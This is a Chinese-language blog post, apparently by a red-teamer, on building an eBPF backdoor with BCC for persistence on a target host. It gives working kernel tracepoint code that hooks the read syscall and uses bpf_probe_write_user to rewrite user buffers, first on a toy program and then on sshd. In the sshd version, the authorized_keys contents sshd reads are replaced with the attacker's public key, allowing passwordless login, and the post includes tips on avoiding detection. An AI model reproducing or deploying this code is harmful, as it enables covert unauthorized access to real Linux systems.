最近学了点 BCC 的皮毛,完成了密钥分发阶段的密钥劫持。即靶机运行红队编写的 ebpf 程序来实现红队免密登陆靶机,实现权限维持:
期间也踩了不少坑,记录一下。网上相关资料质量参差不齐,官方的库资料非常适合入门:库里边的 issue 也有很多很好的高质量问题。
eBPF(Extended Berkeley Packet Filter)是一种在 Linux 内核中执行的虚拟机技术,它可以用于网络分析、性能监控、安全审计等多个领域。以下是 eBPF 的一些主要用途:
可以看到,eBPF 是一种强大的技术,可以在内核中执行自定义的程序,从而实现高效的网络分析、性能监控和安全审计等功能。它为开发人员提供了一种灵活和高效的方式来扩展和定制 Linux 系统的行为。而我们本次要做的就是在系统调用前后进行插桩,完成后门。换句话说,就是系统触发到各种事件(本次是 read
系统调用)的时候会调用我们的 ebpf 程序。
BCC(BPF Compiler Collection)是一个基于 eBPF(Extended Berkeley Packet Filter)的工具集合,用于开发和部署 eBPF 程序。
BCC 是一个构建在 eBPF 之上的工具集合,它提供了一组用于开发和部署 eBPF 程序的工具和库。BCC 包含了一些高级工具,如 bpftrace
、bpfcc-tools
和 bcc-python
,它们简化了 eBPF 程序的开发和调试过程。
BCC 提供了一种更高级的编程接口,使开发者能够使用 C、Python(本次使用到的) 和其他编程语言来编写 eBPF 程序。它还提供了一些预构建的工具和示例,用于网络分析、性能调优和故障排查等方面。
总结来说,BCC 是一个构建在 eBPF 之上的工具集合,它简化了 eBPF 程序的开发和部署过程,并提供了一些高级工具和库来帮助开发者利用 eBPF 技术进行网络分析、性能调优和故障排查等任务。
SSH 免密登录是通过使用公钥加密技术来实现的:
~/.ssh/authorized_keys
文件中。这个文件存储了允许访问该主机的公钥列表;本次是在 2 阶段,通过把自己的公钥替换到 ~/.ssh/authorized_keys
中,完成自己的免密登陆
如何修改 buf 字符串?
测试程序如下,本次所有程序都在该仓库中:
//gcc 1.c -o -static -g behooked
//1.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
int main() {
char buf[4096] = {0x00};
int fd = open("te.txt", O_RDONLY);
if (fd < 0) {
printf("ERROR OPEN FILE");
return 1;
}
memset(buf, 0, sizeof(buf));
if (read(fd, buf, 4096) > 0) {
printf("buf address: %p\n", (void *)buf);
printf("%s\n", buf);
}
close(fd);
return 0;
}
这个程序就是实现了一个打开文件,之后把文件中的数据读到 buf 中。我们有很多思路来实现把 buf 的字符串进行修改,这里用 ebpf 技术来 hook read
系统调用的方式来实现 buf 的直接修改,见下方代码:
先定义下哈希表,因为我们会存储进程 id 和读取系统调用相关信息的映射关系,有了这个 hash 就可以更方便的进行查询和更新。
struct syscall_read_logging
{
long unsigned int buffer_addr;//用于存储缓冲区地址
long int calling_size;//用于存储读取大小
};
BPF_HASH(map_buff_addrs, size_t,struct syscall_read_logging, 1024);
//键是 size_t,值是 struct syscall_read_logging,且大小为 1024,表示能存放 1024 对
使用 TRACEPOINT_PROBE
宏来拦截的系统调用 sys_enter_read
(在进入前进行拦截),与此对应也一定会有 sys_exit_read
:
TRACEPOINT_PROBE(syscalls, sys_enter_read) {
char comm[50];//用于存储进程名
if(bpf_get_current_comm(&comm, 50)) {//把进程名获取到,并存到 comm 中
return 0;
}
const char *target_comm = "behooked";
for (int i = 0; i < 9; i++)
{
if (comm[i] != target_comm[i])//如果不一样的话直接返回就行了
{
return 0;
}
}
struct syscall_read_logging data;
//定义一个 syscall_read_logging 的结构体变量,用于存储读取系统调用的相关信息
long unsigned int buff_addr = args->buf;
//获取系统调用中参数的缓冲区地址
size_t size = args->count;
//获取系统调用中参数的读取大小
size_t pid_tgid = bpf_get_current_pid_tgid();
//获取进程 id
data.buffer_addr = buff_addr;
//赋值给 data
data.calling_size = size;
map_buff_addrs.update(&pid_tgid, &data);
//使用 map_buff_addrs 映射来更新当前 id 对应的结构体
return 0;
}
其中这些参数:args->buf
都可以在 tracing
的 events
中查到,十分方便:
# cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_read/format
name: sys_enter_read
ID: 680
format:
field:unsigned short common_type; offset:0; size:2; signed:0;
field:unsigned char common_flags; offset:2; size:1; signed:0;
field:unsigned char common_preempt_count; offset:3; size:1; signed:0;
field:int common_pid; offset:4; size:4; signed:1;
field:int __syscall_nr; offset:8; size:4; signed:1;
field:unsigned int fd; offset:16; size:8; signed:0;
field:char * buf; offset:24; size:8; signed:0;
field:size_t count; offset:32; size:8; signed:0;
print fmt: "fd: 0x%08lx, buf: 0x%08lx, count: 0x%08lx", ((unsigned long)(REC->fd)), ((unsigned long)(REC->buf)), ((unsigned long)(REC->count))
得到了 data 后可以在 ret 的时候完成修改 buf:
TRACEPOINT_PROBE(syscalls, sys_exit_read) {
char comm[50];
if(bpf_get_current_comm(&comm, 50)) {//把进程名获取到,并存到 comm 中
return 0;
}
char *buff_addr;
size_t pid_tgid = bpf_get_current_pid_tgid();
//把当前的 id 拿到,方便之后取映射的 data 值
const char *target_comm = "behooked";
for (int i = 0; i < 9; i++)
{
if (comm[i] != target_comm[i])
{
return 0;
}
}
char str[256];
struct syscall_read_logging *data= map_buff_addrs.lookup(&pid_tgid);//更新到 data 中
if (data == 0) return 0;//没有的话就直接放回
char hook[]="flag{true}";//这里存放我们要 hook 成的字符串
long int te=data->calling_size;//大小
long unsigned int tmpbuf=(long unsigned int)data->buffer_addr;//拿到地址
if (te!=4096){
return 0;
//事实上,这里可以根据字符串有没有某种东西来判断的,之后在 ssh 的程序会进行优化
}
bpf_probe_write_user(tmpbuf, hook, 11); //把字符串放进去
return 0;
}
把 ebpf 跑起来后:
可以看到,我们 hook 了一个系统调用,完成了把 buf 修改成我们的字符串,这时候加点细节和代码就可以完成 ssh 的密钥劫持。实现思路是类似的,本质上就是hook read
系统调用,通过把 ssh 读取的密钥替换成攻击者的公钥就完成了。
这里需要注意两点,首先因为 ebpf 能存放的字符是有限的,我们不能把自己的公钥直接放入 ebpf 中,而是需要在 python 外部完成公钥的初始化,之后把它传到一个新的映射中来完成。
struct string_info {
char str[600];//在 ebpf 中定义,设定公钥最多包含 600 个字符,其实也可以使用设定不同映射索引来完成公钥拼接
};
BPF_ARRAY(string_array, struct string_info, 10);//同上文提到的 hash,定义 bpf 数组
在外部完成字符的传入:
import ctypes
# 获取string_array映射
string_array = b.get_table("string_array")
# 定义字符串
long_string = "公钥填这里\n"
part = long_string
string_info = ctypes.create_string_buffer(part.encode())
string_array[ctypes.c_int(0)] = string_info
之后的系统调用就是小修小改:
TRACEPOINT_PROBE(syscalls, sys_enter_read) {
char comm[50];
if(bpf_get_current_comm(&comm, 50)) {
return 0;
}
const char *target_comm = "sshd";
for (int i = 0; i < 5; i++)
{
if (comm[i] != target_comm[i])
{
return 0;
}
}
struct syscall_read_logging data;
long unsigned int buff_addr = args->buf;
size_t size = args->count;
size_t pid_tgid = bpf_get_current_pid_tgid();
data.buffer_addr = buff_addr;
data.calling_size = size;
map_buff_addrs.update(&pid_tgid, &data);
return 0;
}
TRACEPOINT_PROBE(syscalls, sys_exit_read) {
char comm[50];
if(bpf_get_current_comm(&comm, 50)) {
return 0;
}
size_t pid_tgid = bpf_get_current_pid_tgid();
const char *target_comm = "sshd";
for (int i = 0; i < 5; i++)
{
if (comm[i] != target_comm[i])
{
return 0;
}
}
struct syscall_read_logging *data= map_buff_addrs.lookup(&pid_tgid);
if (data == 0) return 0;
long int te=data->calling_size;
char* tmpbuf=(char*)data->buffer_addr;
const char *becheck = "ssh-rsa";
char str[7];
bpf_probe_read(str,sizeof(str),(void *)tmpbuf);
for (int i = 0; i < 7; i++)
{
if (becheck[i] != str[i])//看看是不是真正要查的字符串
{
return 0;
}
}
int index = 0;
struct string_info *info = string_array.lookup(&index);
if (info==0) return 0;
char *tobe=(char*)info->str;
long ret = bpf_probe_write_user((void *)tmpbuf, tobe, 581);
//bpf_trace_printk("tmpbuf:%s\\n", tmpbuf);
//bpf_trace_printk("tobe: %s\\n", tobe);
return 0;
}
相当于把整体的文件也改了(密钥替换/劫持),之前的公钥也因为我们的操作不能用了,如果想不暴露的话,可以提前在文件中填写空格占位,来实现添加的操作。
使用 BCC 库可以很方便的完成 ebpf 的编写和程序分发,同时因为是在沙箱环境中运行,可以让我们灵活并安全的调试自己需要的代码;但是后门必须要在较高版本的 kernel 才能实现。